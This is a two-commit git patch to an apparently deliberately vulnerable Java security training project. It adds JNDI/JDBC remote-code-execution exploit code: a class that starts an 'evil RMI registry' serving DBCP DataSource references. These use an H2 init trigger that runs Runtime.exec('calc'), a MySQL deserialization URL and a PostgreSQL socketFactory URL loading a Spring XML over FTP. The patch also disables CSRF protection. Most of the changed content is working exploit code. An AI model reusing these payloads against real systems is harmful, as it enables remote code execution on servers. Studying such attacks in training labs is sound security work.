From be2d36b132f8244de92af3d3a9d38cc7b667967a Mon Sep 17 00:00:00 2001 From: p0mel0 Date: Wed, 8 Feb 2023 14:55:06 +0800 Subject: [PATCH 1/2] add JNDI to h2+dbcp jdbc RCE --- pom.xml | 17 ++++++ .../java/org/joychou/controller/Log4j.java | 3 +- src/main/java/org/joychou/util/Test.java | 60 +++++++++++++++++++ src/main/resources/application.properties | 4 +- 4 files changed, 81 insertions(+), 3 deletions(-) create mode 100644 src/main/java/org/joychou/util/Test.java diff --git a/pom.xml b/pom.xml index 751a4b35..6372bae2 100644 --- a/pom.xml +++ b/pom.xml @@ -306,6 +306,23 @@ 5.8.10 + + + org.postgresql + postgresql + 42.3.1 + + + org.apache.commons + commons-dbcp2 + 2.0 + + + com.h2database + h2 + 1.4.200 + + diff --git a/src/main/java/org/joychou/controller/Log4j.java b/src/main/java/org/joychou/controller/Log4j.java index ada8a394..61ffd957 100644 --- a/src/main/java/org/joychou/controller/Log4j.java +++ b/src/main/java/org/joychou/controller/Log4j.java @@ -3,6 +3,7 @@ import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; @RestController @@ -16,7 +17,7 @@ public class Log4j { * Fix: Update log4j to lastet version. * @param token token */ - @GetMapping("/log4j") + @RequestMapping("/log4j") public String log4j(String token) { if(token.equals("java-sec-code")) { return "java sec code"; diff --git a/src/main/java/org/joychou/util/Test.java b/src/main/java/org/joychou/util/Test.java new file mode 100644 index 00000000..caf39526 --- /dev/null +++ b/src/main/java/org/joychou/util/Test.java @@ -0,0 +1,60 @@ +package org.joychou.util; + + +import com.sun.jndi.rmi.registry.ReferenceWrapper; + +import javax.naming.NamingException; +import javax.naming.Reference; +import javax.naming.StringRefAddr; +import java.rmi.AlreadyBoundException; +import java.rmi.RemoteException; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; +import java.sql.DriverManager; +import java.sql.SQLException; + +public class Test { + public static void postgresqlTest() throws SQLException { + DriverManager.getConnection("jdbc:postgresql://localhost:5432/testdb?socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=ftp://127.0.0.1:2121/test.xml"); + } + + private static Reference tomcat_dbcp2_RCE(){ + return dbcpByFactory("org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory"); + } + private static Reference tomcat_dbcp1_RCE(){ + return dbcpByFactory("org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory"); + } + private static Reference commons_dbcp2_RCE(){ + return dbcpByFactory("org.apache.commons.dbcp2.BasicDataSourceFactory"); + } + private static Reference commons_dbcp1_RCE(){ + return dbcpByFactory("org.apache.commons.dbcp.BasicDataSourceFactory"); + } + private static Reference dbcpByFactory(String factory){ + Reference ref = new Reference("javax.sql.DataSource",factory,null); + String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + + "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + + "java.lang.Runtime.getRuntime().exec('calc')\n" + + "$$\n"; + ref.add(new StringRefAddr("driverClassName","org.h2.Driver")); + ref.add(new StringRefAddr("url",JDBC_URL)); + ref.add(new StringRefAddr("username","root")); + ref.add(new StringRefAddr("password","password")); + ref.add(new StringRefAddr("initialSize","1")); + return ref; + } + + public static void JNDIstart() throws + AlreadyBoundException, RemoteException, NamingException { + Registry registry = LocateRegistry.createRegistry(1099); + Reference reference = commons_dbcp2_RCE(); + ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); + registry.bind("Exploit",referenceWrapper); + System.out.println("Creating evil RMI registry on port 1099"); + } + + + public static void main(String[] args) throws SQLException, AlreadyBoundException, NamingException, RemoteException { + JNDIstart(); + } +} diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties index 96ca82c3..669dd468 100644 --- a/src/main/resources/application.properties +++ b/src/main/resources/application.properties @@ -1,7 +1,7 @@ spring.datasource.url=jdbc:mysql://localhost:3306/java_sec_code?AllowPublicKeyRetrieval=true&useSSL=false&serverTimezone=UTC spring.datasource.username=root -spring.datasource.password=woshishujukumima +spring.datasource.password=root spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver mybatis.mapper-locations=classpath:mapper/*.xml # mybatis SQL log @@ -28,7 +28,7 @@ joychou.security.referer.uri = /jsonp/** ### csrf configuration begins ### # csrf token check -joychou.security.csrf.enabled = true +joychou.security.csrf.enabled = false # URI without CSRF check (only support ANT url format) joychou.security.csrf.exclude.url = /xxe/**, /fastjson/**, /xstream/**, /ssrf/** # method for CSRF check From 93d36d020369ad99ff57f3cb8f4cc32e5e54d0cb Mon Sep 17 00:00:00 2001 From: p0mel0 Date: Tue, 14 Feb 2023 16:12:00 +0800 Subject: [PATCH 2/2] update jndi --- pom.xml | 5 + src/main/java/org/joychou/util/JNDITest.java | 97 ++++++++++++++++++++ src/main/java/org/joychou/util/Test.java | 60 ------------ 3 files changed, 102 insertions(+), 60 deletions(-) create mode 100644 src/main/java/org/joychou/util/JNDITest.java delete mode 100644 src/main/java/org/joychou/util/Test.java diff --git a/pom.xml b/pom.xml index 6372bae2..1c36a68c 100644 --- a/pom.xml +++ b/pom.xml @@ -322,6 +322,11 @@ h2 1.4.200 + + org.apache.tomcat + tomcat-dbcp + 9.0.40 + diff --git a/src/main/java/org/joychou/util/JNDITest.java b/src/main/java/org/joychou/util/JNDITest.java new file mode 100644 index 00000000..37f9e446 --- /dev/null +++ b/src/main/java/org/joychou/util/JNDITest.java @@ -0,0 +1,97 @@ +package org.joychou.util; + + +import com.sun.jndi.rmi.registry.ReferenceWrapper; + +import javax.naming.Reference; +import javax.naming.StringRefAddr; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; +import java.sql.DriverManager; +import java.sql.SQLException; +import java.util.HashMap; + + +public class JNDITest { + public static String tomcat_dbcp2_factory = "org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory"; + public static String tomcat_dbcp1_factory = "org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory"; + public static String commons_dbcp2_factory = "org.apache.commons.dbcp2.BasicDataSourceFactory"; + public static String commons_dbcp1_factory = "org.apache.commons.dbcp.BasicDataSourceFactory"; + + public static String H2_JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + + "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + + "java.lang.Runtime.getRuntime().exec('calc')\n" + + "$$\n"; + // 需要伪造Mysql服务器的返回,利用工具:https://github.com/fnmsd/MySQL_Fake_Server + public static String MYSQL_JDBC_URL = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_cc6"; + + + private static Reference buildRef(HashMap addrs, String factory, String JDBC_URL) { + + Reference ref = new Reference("javax.sql.DataSource", factory, null); + ref.add(new StringRefAddr("url", JDBC_URL)); + // 使用 Lambda 表达式遍历 HashMap + addrs.forEach((key, value) -> { + ref.add(new StringRefAddr(key, value)); + }); + return ref; + } + + private static HashMap genH2ReferenceAddr() { + HashMap hashMap = new HashMap<>(); + hashMap.put("driverClassName", "org.h2.Driver"); + hashMap.put("username", "root"); + hashMap.put("password", "password"); + hashMap.put("initialSize", "1"); + return hashMap; + } + + private static HashMap genMysqlReferenceAddr() { + HashMap hashMap = new HashMap<>(); + hashMap.put("driverClassName", "com.mysql.jdbc.Driver"); + hashMap.put("initialSize", "1"); + return hashMap; + } + + public static void JNDIstart() throws Exception { + Registry registry = LocateRegistry.createRegistry(1099); + Reference reference = buildRef(genMysqlReferenceAddr(), tomcat_dbcp2_factory, MYSQL_JDBC_URL); + ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); + registry.bind("Exploit", referenceWrapper); + System.out.println("Creating evil RMI registry on port 1099"); + } + + + public static void postgresqlTest() throws SQLException { + /* + python启用ftp服务器python3 -m pyftpdlib -d . + ftp服务器上的test.xml内容: + + + + + + calc + + + + + */ + DriverManager.getConnection("jdbc:postgresql://localhost:5432/testdb?socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=ftp://127.0.0.1:2121/test.xml"); + } + + /** + * 参考链接: + * https://tttang.com/archive/1405/ + * https://tttang.com/archive/1462/ + * @param args + * @throws Exception + */ + public static void main(String[] args) throws Exception { + JNDIstart(); + + } +} diff --git a/src/main/java/org/joychou/util/Test.java b/src/main/java/org/joychou/util/Test.java deleted file mode 100644 index caf39526..00000000 --- a/src/main/java/org/joychou/util/Test.java +++ /dev/null @@ -1,60 +0,0 @@ -package org.joychou.util; - - -import com.sun.jndi.rmi.registry.ReferenceWrapper; - -import javax.naming.NamingException; -import javax.naming.Reference; -import javax.naming.StringRefAddr; -import java.rmi.AlreadyBoundException; -import java.rmi.RemoteException; -import java.rmi.registry.LocateRegistry; -import java.rmi.registry.Registry; -import java.sql.DriverManager; -import java.sql.SQLException; - -public class Test { - public static void postgresqlTest() throws SQLException { - DriverManager.getConnection("jdbc:postgresql://localhost:5432/testdb?socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=ftp://127.0.0.1:2121/test.xml"); - } - - private static Reference tomcat_dbcp2_RCE(){ - return dbcpByFactory("org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory"); - } - private static Reference tomcat_dbcp1_RCE(){ - return dbcpByFactory("org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory"); - } - private static Reference commons_dbcp2_RCE(){ - return dbcpByFactory("org.apache.commons.dbcp2.BasicDataSourceFactory"); - } - private static Reference commons_dbcp1_RCE(){ - return dbcpByFactory("org.apache.commons.dbcp.BasicDataSourceFactory"); - } - private static Reference dbcpByFactory(String factory){ - Reference ref = new Reference("javax.sql.DataSource",factory,null); - String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + - "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + - "java.lang.Runtime.getRuntime().exec('calc')\n" + - "$$\n"; - ref.add(new StringRefAddr("driverClassName","org.h2.Driver")); - ref.add(new StringRefAddr("url",JDBC_URL)); - ref.add(new StringRefAddr("username","root")); - ref.add(new StringRefAddr("password","password")); - ref.add(new StringRefAddr("initialSize","1")); - return ref; - } - - public static void JNDIstart() throws - AlreadyBoundException, RemoteException, NamingException { - Registry registry = LocateRegistry.createRegistry(1099); - Reference reference = commons_dbcp2_RCE(); - ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); - registry.bind("Exploit",referenceWrapper); - System.out.println("Creating evil RMI registry on port 1099"); - } - - - public static void main(String[] args) throws SQLException, AlreadyBoundException, NamingException, RemoteException { - JNDIstart(); - } -}